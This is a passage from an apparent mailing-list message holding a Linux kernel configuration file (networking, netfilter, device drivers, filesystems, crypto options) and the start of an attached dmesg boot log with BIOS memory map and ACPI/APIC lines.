CONFIG_IEEE1394_PCILYNX=m CONFIG_IEEE1394_OHCI1394=m # # Protocol Drivers # CONFIG_IEEE1394_VIDEO1394=m CONFIG_IEEE1394_SBP2=m # CONFIG_IEEE1394_SBP2_PHYS_DMA is not set CONFIG_IEEE1394_ETH1394=m CONFIG_IEEE1394_DV1394=m CONFIG_IEEE1394_RAWIO=m CONFIG_IEEE1394_CMP=m CONFIG_IEEE1394_AMDTP=m # # I2O device support # # CONFIG_I2O is not set # # Networking support # CONFIG_NET=y # # Networking options # CONFIG_PACKET=y CONFIG_PACKET_MMAP=y CONFIG_NETLINK_DEV=y CONFIG_UNIX=y CONFIG_NET_KEY=m CONFIG_INET=y CONFIG_IP_MULTICAST=y # CONFIG_IP_ADVANCED_ROUTER is not set # CONFIG_IP_PNP is not set # CONFIG_NET_IPIP is not set # CONFIG_NET_IPGRE is not set # CONFIG_IP_MROUTE is not set # CONFIG_ARPD is not set # CONFIG_INET_ECN is not set CONFIG_SYN_COOKIES=y CONFIG_INET_AH=m CONFIG_INET_ESP=m CONFIG_INET_IPCOMP=m # # IP: Virtual Server Configuration # # CONFIG_IP_VS is not set # CONFIG_IPV6 is not set # CONFIG_DECNET is not set # CONFIG_BRIDGE is not set CONFIG_NETFILTER=y # CONFIG_NETFILTER_DEBUG is not set # # IP: Netfilter Configuration # CONFIG_IP_NF_CONNTRACK=m CONFIG_IP_NF_FTP=m CONFIG_IP_NF_IRC=m CONFIG_IP_NF_TFTP=m CONFIG_IP_NF_AMANDA=m CONFIG_IP_NF_QUEUE=m CONFIG_IP_NF_IPTABLES=m CONFIG_IP_NF_MATCH_LIMIT=m CONFIG_IP_NF_MATCH_IPRANGE=m CONFIG_IP_NF_MATCH_MAC=m CONFIG_IP_NF_MATCH_PKTTYPE=m CONFIG_IP_NF_MATCH_MARK=m CONFIG_IP_NF_MATCH_MULTIPORT=m CONFIG_IP_NF_MATCH_TOS=m CONFIG_IP_NF_MATCH_RECENT=m CONFIG_IP_NF_MATCH_ECN=m CONFIG_IP_NF_MATCH_DSCP=m CONFIG_IP_NF_MATCH_AH_ESP=m CONFIG_IP_NF_MATCH_LENGTH=m CONFIG_IP_NF_MATCH_TTL=m CONFIG_IP_NF_MATCH_TCPMSS=m CONFIG_IP_NF_MATCH_HELPER=m CONFIG_IP_NF_MATCH_STATE=m CONFIG_IP_NF_MATCH_CONNTRACK=m CONFIG_IP_NF_MATCH_OWNER=m CONFIG_IP_NF_FILTER=m CONFIG_IP_NF_TARGET_REJECT=m CONFIG_IP_NF_NAT=m CONFIG_IP_NF_NAT_NEEDED=y CONFIG_IP_NF_TARGET_MASQUERADE=m CONFIG_IP_NF_TARGET_REDIRECT=m CONFIG_IP_NF_TARGET_NETMAP=m CONFIG_IP_NF_TARGET_SAME=m # CONFIG_IP_NF_NAT_LOCAL is not set CONFIG_IP_NF_NAT_SNMP_BASIC=m CONFIG_IP_NF_NAT_IRC=m CONFIG_IP_NF_NAT_FTP=m CONFIG_IP_NF_NAT_TFTP=m CONFIG_IP_NF_NAT_AMANDA=m CONFIG_IP_NF_MANGLE=m CONFIG_IP_NF_TARGET_TOS=m CONFIG_IP_NF_TARGET_ECN=m CONFIG_IP_NF_TARGET_DSCP=m CONFIG_IP_NF_TARGET_MARK=m CONFIG_IP_NF_TARGET_CLASSIFY=m CONFIG_IP_NF_TARGET_LOG=m CONFIG_IP_NF_TARGET_ULOG=m CONFIG_IP_NF_TARGET_TCPMSS=m CONFIG_IP_NF_ARPTABLES=m CONFIG_IP_NF_ARPFILTER=m CONFIG_IP_NF_ARP_MANGLE=m # CONFIG_IP_NF_COMPAT_IPCHAINS is not set # CONFIG_IP_NF_COMPAT_IPFWADM is not set CONFIG_XFRM=y CONFIG_XFRM_USER=m # # SCTP Configuration (EXPERIMENTAL) # CONFIG_IPV6_SCTP__=y # CONFIG_IP_SCTP is not set # CONFIG_ATM is not set # CONFIG_VLAN_8021Q is not set # CONFIG_LLC2 is not set # CONFIG_IPX is not set # CONFIG_ATALK is not set # CONFIG_X25 is not set # CONFIG_LAPB is not set # CONFIG_NET_DIVERT is not set # CONFIG_ECONET is not set # CONFIG_WAN_ROUTER is not set # CONFIG_NET_FASTROUTE is not set # CONFIG_NET_HW_FLOWCONTROL is not set # # QoS and/or fair queueing # # CONFIG_NET_SCHED is not set # # Network testing # # CONFIG_NET_PKTGEN is not set CONFIG_NETDEVICES=y # # ARCnet devices # # CONFIG_ARCNET is not set CONFIG_DUMMY=m CONFIG_BONDING=m CONFIG_EQUALIZER=m CONFIG_TUN=m CONFIG_ETHERTAP=m # CONFIG_NET_SB1000 is not set # # Ethernet (10 or 100Mbit) # CONFIG_NET_ETHERNET=y CONFIG_MII=m # CONFIG_HAPPYMEAL is not set # CONFIG_SUNGEM is not set # CONFIG_NET_VENDOR_3COM is not set # # Tulip family network device support # # CONFIG_NET_TULIP is not set # CONFIG_HP100 is not set CONFIG_NET_PCI=y # CONFIG_PCNET32 is not set # CONFIG_AMD8111_ETH is not set # CONFIG_ADAPTEC_STARFIRE is not set # CONFIG_B44 is not set # CONFIG_FORCEDETH is not set # CONFIG_DGRS is not set # CONFIG_EEPRO100 is not set # CONFIG_E100 is not set # CONFIG_FEALNX is not set # CONFIG_NATSEMI is not set CONFIG_NE2K_PCI=m # CONFIG_8139CP is not set CONFIG_8139TOO=m # CONFIG_8139TOO_PIO is not set # CONFIG_8139TOO_TUNE_TWISTER is not set # CONFIG_8139TOO_8129 is not set # CONFIG_8139_OLD_RX_RESET is not set CONFIG_8139_RXBUF_IDX=2 # CONFIG_SIS900 is not set # CONFIG_EPIC100 is not set # CONFIG_SUNDANCE is not set # CONFIG_TLAN is not set # CONFIG_VIA_RHINE is not set # # Ethernet (1000 Mbit) # # CONFIG_ACENIC is not set # CONFIG_DL2K is not set # CONFIG_E1000 is not set # CONFIG_NS83820 is not set # CONFIG_HAMACHI is not set # CONFIG_YELLOWFIN is not set # CONFIG_R8169 is not set # CONFIG_SIS190 is not set # CONFIG_SK98LIN is not set CONFIG_TIGON3=m # # Ethernet (10000 Mbit) # # CONFIG_IXGB is not set # CONFIG_FDDI is not set # CONFIG_HIPPI is not set CONFIG_PLIP=m CONFIG_PPP=m # CONFIG_PPP_MULTILINK is not set CONFIG_PPP_FILTER=y CONFIG_PPP_ASYNC=m CONFIG_PPP_SYNC_TTY=m CONFIG_PPP_DEFLATE=m CONFIG_PPP_BSDCOMP=m # CONFIG_PPPOE is not set # CONFIG_SLIP is not set # # Wireless LAN (non-hamradio) # # CONFIG_NET_RADIO is not set # # Token Ring devices # # CONFIG_TR is not set # CONFIG_NET_FC is not set # CONFIG_RCPCI is not set # CONFIG_SHAPER is not set # CONFIG_NETCONSOLE is not set # # Wan interfaces # # CONFIG_WAN is not set # # Amateur Radio support # # CONFIG_HAMRADIO is not set # # IrDA (infrared) support # # CONFIG_IRDA is not set # # Bluetooth support # # CONFIG_BT is not set # CONFIG_KGDBOE is not set # CONFIG_NETPOLL is not set # CONFIG_NETPOLL_RX is not set # CONFIG_NETPOLL_TRAP is not set # CONFIG_NET_POLL_CONTROLLER is not set # # ISDN subsystem # # CONFIG_ISDN_BOOL is not set # # Telephony Support # # CONFIG_PHONE is not set # # Input device support # CONFIG_INPUT=y # # Userland interfaces # CONFIG_INPUT_MOUSEDEV=y CONFIG_INPUT_MOUSEDEV_PSAUX=y CONFIG_INPUT_MOUSEDEV_SCREEN_X=1024 CONFIG_INPUT_MOUSEDEV_SCREEN_Y=768 CONFIG_INPUT_JOYDEV=m # CONFIG_INPUT_TSDEV is not set CONFIG_INPUT_EVDEV=m # CONFIG_INPUT_EVBUG is not set # # Input I/O drivers # CONFIG_GAMEPORT=m CONFIG_SOUND_GAMEPORT=m # CONFIG_GAMEPORT_NS558 is not set # CONFIG_GAMEPORT_L4 is not set CONFIG_GAMEPORT_EMU10K1=m # CONFIG_GAMEPORT_VORTEX is not set # CONFIG_GAMEPORT_FM801 is not set # CONFIG_GAMEPORT_CS461x is not set CONFIG_SERIO=y CONFIG_SERIO_I8042=y CONFIG_SERIO_SERPORT=m # CONFIG_SERIO_CT82C710 is not set # CONFIG_SERIO_PARKBD is not set # CONFIG_SERIO_PCIPS2 is not set # # Input Device Drivers # CONFIG_INPUT_KEYBOARD=y CONFIG_KEYBOARD_ATKBD=y # CONFIG_KEYBOARD_SUNKBD is not set # CONFIG_KEYBOARD_XTKBD is not set # CONFIG_KEYBOARD_NEWTON is not set CONFIG_INPUT_MOUSE=y CONFIG_MOUSE_PS2=y # CONFIG_MOUSE_SERIAL is not set # CONFIG_INPUT_JOYSTICK is not set # CONFIG_INPUT_TOUCHSCREEN is not set CONFIG_INPUT_MISC=y CONFIG_INPUT_PCSPKR=m CONFIG_INPUT_UINPUT=m # # Character devices # CONFIG_VT=y CONFIG_VT_CONSOLE=y CONFIG_HW_CONSOLE=y # CONFIG_SERIAL_NONSTANDARD is not set # # Serial drivers # CONFIG_SERIAL_8250=m CONFIG_SERIAL_8250_ACPI=y CONFIG_SERIAL_8250_NR_UARTS=4 CONFIG_SERIAL_8250_EXTENDED=y # CONFIG_SERIAL_8250_MANY_PORTS is not set CONFIG_SERIAL_8250_SHARE_IRQ=y # CONFIG_SERIAL_8250_DETECT_IRQ is not set # CONFIG_SERIAL_8250_MULTIPORT is not set # CONFIG_SERIAL_8250_RSA is not set # # Non-8250 serial port support # CONFIG_SERIAL_CORE=m CONFIG_UNIX98_PTYS=y CONFIG_UNIX98_PTY_COUNT=256 CONFIG_PRINTER=m # CONFIG_LP_CONSOLE is not set # CONFIG_PPDEV is not set # CONFIG_TIPAR is not set # # I2C support # CONFIG_I2C=m CONFIG_I2C_CHARDEV=m # # I2C Algorithms # CONFIG_I2C_ALGOBIT=m CONFIG_I2C_ALGOPCF=m # # I2C Hardware Bus support # # CONFIG_I2C_ALI1535 is not set # CONFIG_I2C_ALI15X3 is not set # CONFIG_I2C_AMD756 is not set # CONFIG_I2C_AMD8111 is not set # CONFIG_I2C_ELEKTOR is not set # CONFIG_I2C_I801 is not set # CONFIG_I2C_I810 is not set # CONFIG_I2C_NFORCE2 is not set # CONFIG_I2C_PHILIPSPAR is not set # CONFIG_I2C_PIIX4 is not set # CONFIG_I2C_PROSAVAGE is not set # CONFIG_I2C_SAVAGE4 is not set # CONFIG_SCx200_ACB is not set # CONFIG_I2C_SIS5595 is not set # CONFIG_I2C_SIS630 is not set # CONFIG_I2C_SIS96X is not set CONFIG_I2C_VIA=m CONFIG_I2C_VIAPRO=m # CONFIG_I2C_VOODOO3 is not set # # I2C Hardware Sensors Chip support # CONFIG_I2C_SENSOR=m CONFIG_SENSORS_ADM1021=m CONFIG_SENSORS_EEPROM=m CONFIG_SENSORS_IT87=m CONFIG_SENSORS_LM75=m CONFIG_SENSORS_LM78=m CONFIG_SENSORS_LM83=m CONFIG_SENSORS_LM85=m CONFIG_SENSORS_VIA686A=m CONFIG_SENSORS_W83781D=m # # Mice # # CONFIG_BUSMOUSE is not set # CONFIG_QIC02_TAPE is not set # # IPMI # # CONFIG_IPMI_HANDLER is not set # # Watchdog Cards # # CONFIG_WATCHDOG is not set CONFIG_HW_RANDOM=m CONFIG_NVRAM=m CONFIG_RTC=m CONFIG_GEN_RTC=m CONFIG_GEN_RTC_X=y # CONFIG_DTLK is not set # CONFIG_R3964 is not set # CONFIG_APPLICOM is not set # CONFIG_SONYPI is not set # # Ftape, the floppy tape device driver # # CONFIG_FTAPE is not set CONFIG_AGP=m # CONFIG_AGP_ALI is not set # CONFIG_AGP_ATI is not set # CONFIG_AGP_AMD is not set # CONFIG_AGP_AMD64 is not set # CONFIG_AGP_INTEL is not set # CONFIG_AGP_NVIDIA is not set # CONFIG_AGP_SIS is not set # CONFIG_AGP_SWORKS is not set CONFIG_AGP_VIA=m CONFIG_DRM=y # CONFIG_DRM_TDFX is not set # CONFIG_DRM_GAMMA is not set # CONFIG_DRM_R128 is not set CONFIG_DRM_RADEON=m # CONFIG_DRM_MGA is not set # CONFIG_DRM_SIS is not set # CONFIG_MWAVE is not set CONFIG_RAW_DRIVER=m CONFIG_MAX_RAW_DEVS=256 CONFIG_HANGCHECK_TIMER=m # # Multimedia devices # CONFIG_VIDEO_DEV=m # # Video For Linux # # # Video Adapters # CONFIG_VIDEO_BT848=m # CONFIG_VIDEO_BWQCAM is not set # CONFIG_VIDEO_CQCAM is not set # CONFIG_VIDEO_W9966 is not set # CONFIG_VIDEO_CPIA is not set # CONFIG_VIDEO_SAA5249 is not set # CONFIG_TUNER_3036 is not set # CONFIG_VIDEO_STRADIS is not set # CONFIG_VIDEO_ZORAN is not set # CONFIG_VIDEO_ZR36120 is not set # CONFIG_VIDEO_SAA7134 is not set # CONFIG_VIDEO_MXB is not set # CONFIG_VIDEO_DPC is not set # CONFIG_VIDEO_HEXIUM_ORION is not set # CONFIG_VIDEO_HEXIUM_GEMINI is not set # # Radio Adapters # # CONFIG_RADIO_GEMTEK_PCI is not set # CONFIG_RADIO_MAXIRADIO is not set # CONFIG_RADIO_MAESTRO is not set # # Digital Video Broadcasting Devices # # CONFIG_DVB is not set CONFIG_VIDEO_TUNER=m CONFIG_VIDEO_BUF=m CONFIG_VIDEO_BTCX=m # # Graphics support # CONFIG_FB=y # CONFIG_FB_CIRRUS is not set # CONFIG_FB_PM2 is not set # CONFIG_FB_CYBER2000 is not set # CONFIG_FB_IMSTT is not set # CONFIG_FB_VGA16 is not set # CONFIG_FB_VESA is not set CONFIG_VIDEO_SELECT=y # CONFIG_FB_HGA is not set # CONFIG_FB_RIVA is not set # CONFIG_FB_MATROX is not set CONFIG_FB_RADEON=m # CONFIG_FB_ATY128 is not set # CONFIG_FB_ATY is not set # CONFIG_FB_SIS is not set # CONFIG_FB_NEOMAGIC is not set # CONFIG_FB_3DFX is not set # CONFIG_FB_VOODOO1 is not set # CONFIG_FB_TRIDENT is not set # CONFIG_FB_PM3 is not set # CONFIG_FB_VIRTUAL is not set # # Console display driver support # CONFIG_VGA_CONSOLE=y # CONFIG_MDA_CONSOLE is not set CONFIG_DUMMY_CONSOLE=y CONFIG_FRAMEBUFFER_CONSOLE=m CONFIG_PCI_CONSOLE=y CONFIG_FONTS=y CONFIG_FONT_8x8=y CONFIG_FONT_8x16=y # CONFIG_FONT_6x11 is not set # CONFIG_FONT_PEARL_8x8 is not set # CONFIG_FONT_ACORN_8x8 is not set # CONFIG_FONT_MINI_4x6 is not set # CONFIG_FONT_SUN8x16 is not set # CONFIG_FONT_SUN12x22 is not set # # Logo configuration # CONFIG_LOGO=y CONFIG_LOGO_LINUX_MONO=y CONFIG_LOGO_LINUX_VGA16=y CONFIG_LOGO_LINUX_CLUT224=y # # Sound # CONFIG_SOUND=m # # Advanced Linux Sound Architecture # CONFIG_SND=m CONFIG_SND_SEQUENCER=m CONFIG_SND_SEQ_DUMMY=m CONFIG_SND_OSSEMUL=y CONFIG_SND_MIXER_OSS=m CONFIG_SND_PCM_OSS=m CONFIG_SND_SEQUENCER_OSS=y CONFIG_SND_RTCTIMER=m CONFIG_SND_VERBOSE_PRINTK=y # CONFIG_SND_DEBUG is not set # # Generic devices # CONFIG_SND_DUMMY=m CONFIG_SND_VIRMIDI=m CONFIG_SND_MTPAV=m CONFIG_SND_SERIAL_U16550=m CONFIG_SND_MPU401=m # # PCI devices # # CONFIG_SND_ALI5451 is not set # CONFIG_SND_AZT3328 is not set # CONFIG_SND_CS46XX is not set # CONFIG_SND_CS4281 is not set CONFIG_SND_EMU10K1=m # CONFIG_SND_KORG1212 is not set # CONFIG_SND_NM256 is not set # CONFIG_SND_RME32 is not set # CONFIG_SND_RME96 is not set # CONFIG_SND_RME9652 is not set # CONFIG_SND_HDSP is not set # CONFIG_SND_TRIDENT is not set # CONFIG_SND_YMFPCI is not set # CONFIG_SND_ALS4000 is not set # CONFIG_SND_CMIPCI is not set # CONFIG_SND_ENS1370 is not set # CONFIG_SND_ENS1371 is not set # CONFIG_SND_ES1938 is not set # CONFIG_SND_ES1968 is not set # CONFIG_SND_MAESTRO3 is not set # CONFIG_SND_FM801 is not set # CONFIG_SND_ICE1712 is not set # CONFIG_SND_ICE1724 is not set # CONFIG_SND_INTEL8X0 is not set # CONFIG_SND_SONICVIBES is not set CONFIG_SND_VIA82XX=m # CONFIG_SND_VX222 is not set # # ALSA USB devices # # CONFIG_SND_USB_AUDIO is not set # # Open Sound System # CONFIG_SOUND_PRIME=m # CONFIG_SOUND_BT878 is not set # CONFIG_SOUND_CMPCI is not set # CONFIG_SOUND_EMU10K1 is not set # CONFIG_SOUND_FUSION is not set # CONFIG_SOUND_CS4281 is not set # CONFIG_SOUND_ES1370 is not set # CONFIG_SOUND_ES1371 is not set # CONFIG_SOUND_ESSSOLO1 is not set # CONFIG_SOUND_MAESTRO is not set # CONFIG_SOUND_MAESTRO3 is not set # CONFIG_SOUND_ICH is not set # CONFIG_SOUND_SONICVIBES is not set # CONFIG_SOUND_TRIDENT is not set # CONFIG_SOUND_MSNDCLAS is not set # CONFIG_SOUND_MSNDPIN is not set CONFIG_SOUND_VIA82CXXX=m CONFIG_MIDI_VIA82CXXX=y # CONFIG_SOUND_OSS is not set CONFIG_SOUND_TVMIXER=m # CONFIG_SOUND_ALI5455 is not set # CONFIG_SOUND_FORTE is not set # CONFIG_SOUND_RME96XX is not set # CONFIG_SOUND_AD1980 is not set # # USB support # CONFIG_USB=m # CONFIG_USB_DEBUG is not set # # Miscellaneous USB options # CONFIG_USB_DEVICEFS=y # CONFIG_USB_BANDWIDTH is not set # CONFIG_USB_DYNAMIC_MINORS is not set # # USB Host Controller Drivers # CONFIG_USB_EHCI_HCD=m CONFIG_USB_OHCI_HCD=m CONFIG_USB_UHCI_HCD=m # # USB Device Class drivers # # CONFIG_USB_AUDIO is not set # CONFIG_USB_BLUETOOTH_TTY is not set # CONFIG_USB_MIDI is not set CONFIG_USB_ACM=m CONFIG_USB_PRINTER=m CONFIG_USB_STORAGE=m # CONFIG_USB_STORAGE_DEBUG is not set # CONFIG_USB_STORAGE_DATAFAB is not set # CONFIG_USB_STORAGE_FREECOM is not set # CONFIG_USB_STORAGE_ISD200 is not set # CONFIG_USB_STORAGE_DPCM is not set CONFIG_USB_STORAGE_HP8200e=y # CONFIG_USB_STORAGE_SDDR09 is not set # CONFIG_USB_STORAGE_SDDR55 is not set # CONFIG_USB_STORAGE_JUMPSHOT is not set # # USB Human Interface Devices (HID) # CONFIG_USB_HID=m CONFIG_USB_HIDINPUT=y # CONFIG_HID_FF is not set CONFIG_USB_HIDDEV=y # # USB HID Boot Protocol drivers # # CONFIG_USB_KBD is not set # CONFIG_USB_MOUSE is not set # CONFIG_USB_AIPTEK is not set # CONFIG_USB_WACOM is not set # CONFIG_USB_KBTAB is not set # CONFIG_USB_POWERMATE is not set # CONFIG_USB_XPAD is not set # # USB Imaging devices # # CONFIG_USB_MDC800 is not set CONFIG_USB_SCANNER=m # CONFIG_USB_MICROTEK is not set # CONFIG_USB_HPUSBSCSI is not set # # USB Multimedia devices # # CONFIG_USB_DABUSB is not set # CONFIG_USB_VICAM is not set # CONFIG_USB_DSBR is not set # CONFIG_USB_IBMCAM is not set # CONFIG_USB_KONICAWC is not set # CONFIG_USB_OV511 is not set # CONFIG_USB_PWC is not set # CONFIG_USB_SE401 is not set # CONFIG_USB_STV680 is not set # CONFIG_USB_W9968CF is not set # # USB Network adaptors # # CONFIG_USB_CATC is not set # CONFIG_USB_KAWETH is not set # CONFIG_USB_PEGASUS is not set # CONFIG_USB_RTL8150 is not set CONFIG_USB_USBNET=m # # USB Host-to-Host Cables # # CONFIG_USB_AN2720 is not set # CONFIG_USB_BELKIN is not set # CONFIG_USB_GENESYS is not set # CONFIG_USB_NET1080 is not set CONFIG_USB_PL2301=y # # Intelligent USB Devices/Gadgets # # CONFIG_USB_ARMLINUX is not set # CONFIG_USB_EPSON2888 is not set # CONFIG_USB_ZAURUS is not set # CONFIG_USB_CDCETHER is not set # # USB Network Adapters # # CONFIG_USB_AX8817X is not set # # USB port drivers # # CONFIG_USB_USS720 is not set # # USB Serial Converter support # CONFIG_USB_SERIAL=m CONFIG_USB_SERIAL_GENERIC=y # CONFIG_USB_SERIAL_BELKIN is not set # CONFIG_USB_SERIAL_WHITEHEAT is not set # CONFIG_USB_SERIAL_DIGI_ACCELEPORT is not set # CONFIG_USB_SERIAL_EMPEG is not set # CONFIG_USB_SERIAL_FTDI_SIO is not set # CONFIG_USB_SERIAL_VISOR is not set # CONFIG_USB_SERIAL_IPAQ is not set # CONFIG_USB_SERIAL_IR is not set # CONFIG_USB_SERIAL_EDGEPORT is not set # CONFIG_USB_SERIAL_EDGEPORT_TI is not set # CONFIG_USB_SERIAL_KEYSPAN_PDA is not set # CONFIG_USB_SERIAL_KEYSPAN is not set # CONFIG_USB_SERIAL_KLSI is not set # CONFIG_USB_SERIAL_KOBIL_SCT is not set # CONFIG_USB_SERIAL_MCT_U232 is not set CONFIG_USB_SERIAL_PL2303=m # CONFIG_USB_SERIAL_SAFE is not set # CONFIG_USB_SERIAL_CYBERJACK is not set # CONFIG_USB_SERIAL_XIRCOM is not set # CONFIG_USB_SERIAL_OMNINET is not set # # USB Miscellaneous drivers # # CONFIG_USB_TIGL is not set # CONFIG_USB_AUERSWALD is not set # CONFIG_USB_RIO500 is not set # CONFIG_USB_LEGOTOWER is not set # CONFIG_USB_BRLVGER is not set # CONFIG_USB_LCD is not set # CONFIG_USB_TEST is not set # CONFIG_USB_GADGET is not set # # File systems # CONFIG_EXT2_FS=m CONFIG_EXT2_FS_XATTR=y CONFIG_EXT2_FS_POSIX_ACL=y CONFIG_EXT2_FS_SECURITY=y CONFIG_EXT3_FS=y CONFIG_EXT3_FS_XATTR=y CONFIG_EXT3_FS_POSIX_ACL=y CONFIG_EXT3_FS_SECURITY=y CONFIG_JBD=y # CONFIG_JBD_DEBUG is not set CONFIG_FS_MBCACHE=y CONFIG_REISERFS_FS=m # CONFIG_REISERFS_CHECK is not set CONFIG_REISERFS_PROC_INFO=y CONFIG_JFS_FS=m CONFIG_JFS_POSIX_ACL=y # CONFIG_JFS_DEBUG is not set CONFIG_JFS_STATISTICS=y CONFIG_FS_POSIX_ACL=y CONFIG_XFS_FS=m # CONFIG_XFS_RT is not set # CONFIG_XFS_QUOTA is not set CONFIG_XFS_POSIX_ACL=y CONFIG_MINIX_FS=m # CONFIG_ROMFS_FS is not set # CONFIG_QUOTA is not set # CONFIG_AUTOFS_FS is not set # CONFIG_AUTOFS4_FS is not set # # CD-ROM/DVD Filesystems # CONFIG_ISO9660_FS=m CONFIG_JOLIET=y CONFIG_ZISOFS=y CONFIG_ZISOFS_FS=m CONFIG_UDF_FS=m # # DOS/FAT/NT Filesystems # CONFIG_FAT_FS=m CONFIG_MSDOS_FS=m CONFIG_VFAT_FS=m CONFIG_NTFS_FS=m # CONFIG_NTFS_DEBUG is not set CONFIG_NTFS_RW=y # # Pseudo filesystems # CONFIG_PROC_FS=y CONFIG_PROC_KCORE=y CONFIG_SYSFS=y # CONFIG_DEVFS_FS is not set CONFIG_DEVPTS_FS=y CONFIG_DEVPTS_FS_XATTR=y CONFIG_DEVPTS_FS_SECURITY=y CONFIG_TMPFS=y # CONFIG_HUGETLBFS is not set # CONFIG_HUGETLB_PAGE is not set CONFIG_RAMFS=y # # Miscellaneous filesystems # # CONFIG_ADFS_FS is not set # CONFIG_AFFS_FS is not set # CONFIG_HFS_FS is not set # CONFIG_BEFS_FS is not set # CONFIG_BFS_FS is not set # CONFIG_EFS_FS is not set # CONFIG_CRAMFS is not set # CONFIG_VXFS_FS is not set # CONFIG_HPFS_FS is not set # CONFIG_QNX4FS_FS is not set # CONFIG_SYSV_FS is not set # CONFIG_UFS_FS is not set # # Network File Systems # CONFIG_NFS_FS=m CONFIG_NFS_V3=y # CONFIG_NFS_V4 is not set CONFIG_NFS_DIRECTIO=y CONFIG_NFSD=m CONFIG_NFSD_V3=y # CONFIG_NFSD_V4 is not set # CONFIG_NFSD_TCP is not set CONFIG_LOCKD=m CONFIG_LOCKD_V4=y CONFIG_EXPORTFS=m CONFIG_SUNRPC=m CONFIG_SUNRPC_GSS=m CONFIG_RPCSEC_GSS_KRB5=m CONFIG_SMB_FS=m # CONFIG_SMB_NLS_DEFAULT is not set CONFIG_CIFS=m # CONFIG_NCP_FS is not set # CONFIG_CODA_FS is not set # CONFIG_INTERMEZZO_FS is not set # CONFIG_AFS_FS is not set # # Partition Types # CONFIG_PARTITION_ADVANCED=y # CONFIG_ACORN_PARTITION is not set # CONFIG_OSF_PARTITION is not set # CONFIG_AMIGA_PARTITION is not set # CONFIG_ATARI_PARTITION is not set # CONFIG_MAC_PARTITION is not set CONFIG_MSDOS_PARTITION=y # CONFIG_BSD_DISKLABEL is not set # CONFIG_MINIX_SUBPARTITION is not set # CONFIG_SOLARIS_X86_PARTITION is not set # CONFIG_UNIXWARE_DISKLABEL is not set CONFIG_LDM_PARTITION=y # CONFIG_LDM_DEBUG is not set # CONFIG_NEC98_PARTITION is not set # CONFIG_SGI_PARTITION is not set # CONFIG_ULTRIX_PARTITION is not set # CONFIG_SUN_PARTITION is not set # CONFIG_EFI_PARTITION is not set # # Native Language Support # CONFIG_NLS=m CONFIG_NLS_DEFAULT="iso8859-15" CONFIG_NLS_CODEPAGE_437=m CONFIG_NLS_CODEPAGE_737=m CONFIG_NLS_CODEPAGE_775=m CONFIG_NLS_CODEPAGE_850=m CONFIG_NLS_CODEPAGE_852=m CONFIG_NLS_CODEPAGE_855=m CONFIG_NLS_CODEPAGE_857=m CONFIG_NLS_CODEPAGE_860=m CONFIG_NLS_CODEPAGE_861=m CONFIG_NLS_CODEPAGE_862=m CONFIG_NLS_CODEPAGE_863=m CONFIG_NLS_CODEPAGE_864=m CONFIG_NLS_CODEPAGE_865=m CONFIG_NLS_CODEPAGE_866=m CONFIG_NLS_CODEPAGE_869=m CONFIG_NLS_CODEPAGE_936=m CONFIG_NLS_CODEPAGE_950=m CONFIG_NLS_CODEPAGE_932=m CONFIG_NLS_CODEPAGE_949=m CONFIG_NLS_CODEPAGE_874=m CONFIG_NLS_ISO8859_8=m CONFIG_NLS_CODEPAGE_1250=m CONFIG_NLS_CODEPAGE_1251=m CONFIG_NLS_ISO8859_1=m CONFIG_NLS_ISO8859_2=m CONFIG_NLS_ISO8859_3=m CONFIG_NLS_ISO8859_4=m CONFIG_NLS_ISO8859_5=m CONFIG_NLS_ISO8859_6=m CONFIG_NLS_ISO8859_7=m CONFIG_NLS_ISO8859_9=m CONFIG_NLS_ISO8859_13=m CONFIG_NLS_ISO8859_14=m CONFIG_NLS_ISO8859_15=m CONFIG_NLS_KOI8_R=m CONFIG_NLS_KOI8_U=m CONFIG_NLS_UTF8=m # # Profiling support # # CONFIG_PROFILING is not set # # Kernel hacking # # CONFIG_DEBUG_KERNEL is not set # CONFIG_DEBUG_SPINLOCK_SLEEP is not set # CONFIG_FRAME_POINTER is not set CONFIG_X86_EXTRA_IRQS=y CONFIG_X86_FIND_SMP_CONFIG=y CONFIG_X86_MPPARSE=y # # Security options # # CONFIG_SECURITY is not set # # Cryptographic options # CONFIG_CRYPTO=y CONFIG_CRYPTO_HMAC=y CONFIG_CRYPTO_NULL=m CONFIG_CRYPTO_MD4=m CONFIG_CRYPTO_MD5=m CONFIG_CRYPTO_SHA1=m CONFIG_CRYPTO_SHA256=m CONFIG_CRYPTO_SHA512=m CONFIG_CRYPTO_DES=m CONFIG_CRYPTO_BLOWFISH=m CONFIG_CRYPTO_TWOFISH=m CONFIG_CRYPTO_SERPENT=m CONFIG_CRYPTO_AES=m CONFIG_CRYPTO_CAST5=m CONFIG_CRYPTO_CAST6=m CONFIG_CRYPTO_DEFLATE=m # CONFIG_CRYPTO_TEST is not set # # Library routines # CONFIG_CRC32=m CONFIG_ZLIB_INFLATE=m CONFIG_ZLIB_DEFLATE=m CONFIG_X86_BIOS_REBOOT=y CONFIG_PC=y --nextPart1181838.TEsOKFeMFJ Content-Type: text/plain; name="dmesg" Content-Transfer-Encoding: 8Bit Content-Disposition: attachment; filename="dmesg" (ACPI data) BIOS-e820: 000000001fff8000 - 0000000020000000 (ACPI NVS) BIOS-e820: 00000000fec00000 - 00000000fec01000 (reserved) BIOS-e820: 00000000fee00000 - 00000000fee01000 (reserved) BIOS-e820: 00000000fff80000 - 0000000100000000 (reserved) 511MB LOWMEM available. found SMP MP-table at 000fb990 hm, page 000fb000 reserved twice. hm, page 000fc000 reserved twice. hm, page 000f6000 reserved twice. hm, page 000f7000 reserved twice. On node 0 totalpages: 131056 DMA zone: 4096 pages, LIFO batch:1 Normal zone: 126960 pages, LIFO batch:16 HighMem zone: 0 pages, LIFO batch:1 DMI 2.3 present. ACPI: RSDP (v000 AMI ) @ 0x000faa00 ACPI: RSDT (v001 AMIINT VIA_K7 0x00000010 MSFT 0x00000097) @ 0x1fff0000 ACPI: FADT (v001 AMIINT VIA_K7 0x00000011 MSFT 0x00000097) @ 0x1fff0030 ACPI: MADT (v001 AMIINT VIA_K7 0x00000009 MSFT 0x00000097) @ 0x1fff00c0 ACPI: DSDT (v001 VIA VIA_K7 0x00001000 MSFT 0x0100000d) @ 0x00000000 ACPI: PM-Timer IO Port: 0x808 ACPI: Local APIC address 0xfee00000 ACPI: LAPIC (acpi_id[0x01] lapic_id[0x00] enabled) Processor #0 6:8 APIC version 16 ACPI: IOAPIC (id[0x02] address[0xfec00000] global_irq_base[0x0]) IOAPIC[0]: Assigned apic_id 2 IOAPIC[0]: apic_id 2, version 3, address 0xfec00000, IRQ 0-23 ACPI: INT_SRC_OVR (bus 0 bus_irq 0 global_irq 2 dfl dfl) ACPI: INT_SRC_OVR (bus 0 bus_irq 9 